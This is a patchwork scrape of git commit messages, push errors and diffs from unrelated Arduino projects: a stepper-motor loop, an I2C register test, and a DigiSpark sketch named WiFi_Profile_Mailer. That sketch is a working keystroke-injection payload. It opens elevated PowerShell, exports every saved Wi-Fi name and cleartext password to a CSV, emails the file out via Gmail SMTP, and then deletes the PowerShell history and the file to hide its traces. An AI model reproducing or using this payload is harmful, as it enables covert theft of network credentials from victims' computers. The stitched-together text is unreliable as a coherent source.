+  for(int i=0; i < steps; i++){
+    digitalWrite(STEP_PIN, HIGH);
+    delayMicroseconds(usDelay);
+
+    digitalWrite(STEP_PIN, LOW);
+    delayMicroseconds(usDelay);
+  }
+}
+


add touch sensor

add touch sensor

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/locatw/Autonek.git/'


Initial upload of updated script

Initial upload of updated script

error: pathspec 'WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino' did not match any file(s) known to git

--- WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino
+++ WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino
@@ -0,0 +1,54 @@
+//This DigiSpark script writes the wireless network credentials to a csv file and emails it.
+//Credits to p0wc0w.
+
+//NOTE about the New Version of this script: The older script stopped working on newer builds of Windows 10
+//since Windows 10 now require an elevated cmd or powershell to execute these commands. This version should
+//be faster (better, stronger...) and should work on all builds of Windows 10. For previous versions
+//of Windows or simply older builds of Windows 10, the other version works like a charm.
+
+#include "DigiKeyboard.h"
+void setup() {
+}
+
+void loop() {
+  DigiKeyboard.sendKeyStroke(0);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.sendKeyStroke(KEY_A);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)}  | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\\temp.csv;exit"));
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+  DigiKeyboard.delay(3000);
+  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.sendKeyStroke(KEY_A);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('GMAIL_USERNAME', 'GMAIL_PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'SENDER_MAIL'; $ReportEmail.To.Add('RECEIVER_MAIL'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail);exit"));
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.sendKeyStroke(KEY_A);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath"));
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.print("cmd");
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.print(F("del temp.csv"));
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+  DigiKeyboard.delay(100);
+  DigiKeyboard.print(F("exit"));
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+  for(;;){ /*empty*/ }
+}


Added Arduino Test code

Added Arduino Test code

Same Arduino test code as release 0.

error: pathspec 'I2C_SW_Slave_lib/I2C_SW_Slave_2313_rel_0/i2c_testWriteRead02.ino' did not match any file(s) known to git

--- I2C_SW_Slave_lib/I2C_SW_Slave_2313_rel_0/i2c_testWriteRead02.ino
+++ I2C_SW_Slave_lib/I2C_SW_Slave_2313_rel_0/i2c_testWriteRead02.ino
@@ -0,0 +1,80 @@
+#include <Wire.h>
+
+byte val = 0x02;    // Board ID (8)
+int slave = 0x23;   // has to be an int.
+byte count = 0;     // simple counter
+
+void setup()
+{
+  Wire.begin(); // join i2c bus
+  Serial.begin(9600);
+}
+
+void loop()
+{
+  Serial.println("Scan 3 registers");
+
+  // Send CMD to Slave to read register.
+  Wire.beginTransmission(0x23); // transmit to Slave. Have to do this each time.
+  Wire.write(0);             // sends value byte
+  Wire.endTransmission();     // stop transmitting
+  delay(1);                  // need to give Slave time to fill ouput FIFO.
+
+  // Issues a SLA_R request and triggers N reads before NACKing Slave.
+  Wire.requestFrom(slave, 4);    // request N bytes from (int)slave
+
+  // Flush buffer
+  while(Wire.available())    // slave may send less than requested
+  {
+    char c = Wire.read();    // receive a byte as character
+    Serial.print(c, HEX);
+    Serial.print(" ");
+  }
+  Serial.println("");
+  delay(1);
+
+  // Send CMD to Slave to read register.
+  Wire.beginTransmission(0x23); // transmit to Slave
+  Wire.write(2);             // sends value byte
+  Wire.endTransmission();     // stop transmitting
+  delay(1);                  // need to give Slave time to fill ouput FIFO.
+
+  // Issues a SLA_R request and triggers N reads before NACKing Slave.
+  Wire.requestFrom(slave, 12);    // request N bytes from (int)slave
+
+  // Flush buffer
+  while(Wire.available())    // slave may send less than requested
+  {
+    char c = Wire.read();    // receive a byte as character
+    Serial.print(c);
+  }
+  Serial.println("");
+  delay(1);
+
+  // Send CMD to Slave to read register.
+  Wire.beginTransmission(0x23); // transmit to Slave
+  Wire.write(3);             // sends value byte
+  Wire.endTransmission();     // stop transmitting
+  delay(1);                  // need to give Slave time to fill ouput FIFO.
+
+  // Issues a SLA_R request and triggers N reads before NACKing Slave.
+  Wire.requestFrom(slave, 16);    // request N bytes from (int)slave
+
+  // Flush buffer
+  while(Wire.available())    // slave may send less than requested
+  {
+    char c = Wire.read();    // receive a byte as character
+    Serial.print(c);
+  }
+  Serial.println("");
+  Serial.println("");
+
+  // Send CMD to Slave to set register. This could use an array for the data.
+  Wire.beginTransmission(0x23); // transmit to Slave
+  Wire.write(0x81);             // sends value byte
+  Wire.write(count++);          // sends value byte
+  Wire.endTransmission();       // stop transmitting
+
+  delay(500);
+}
+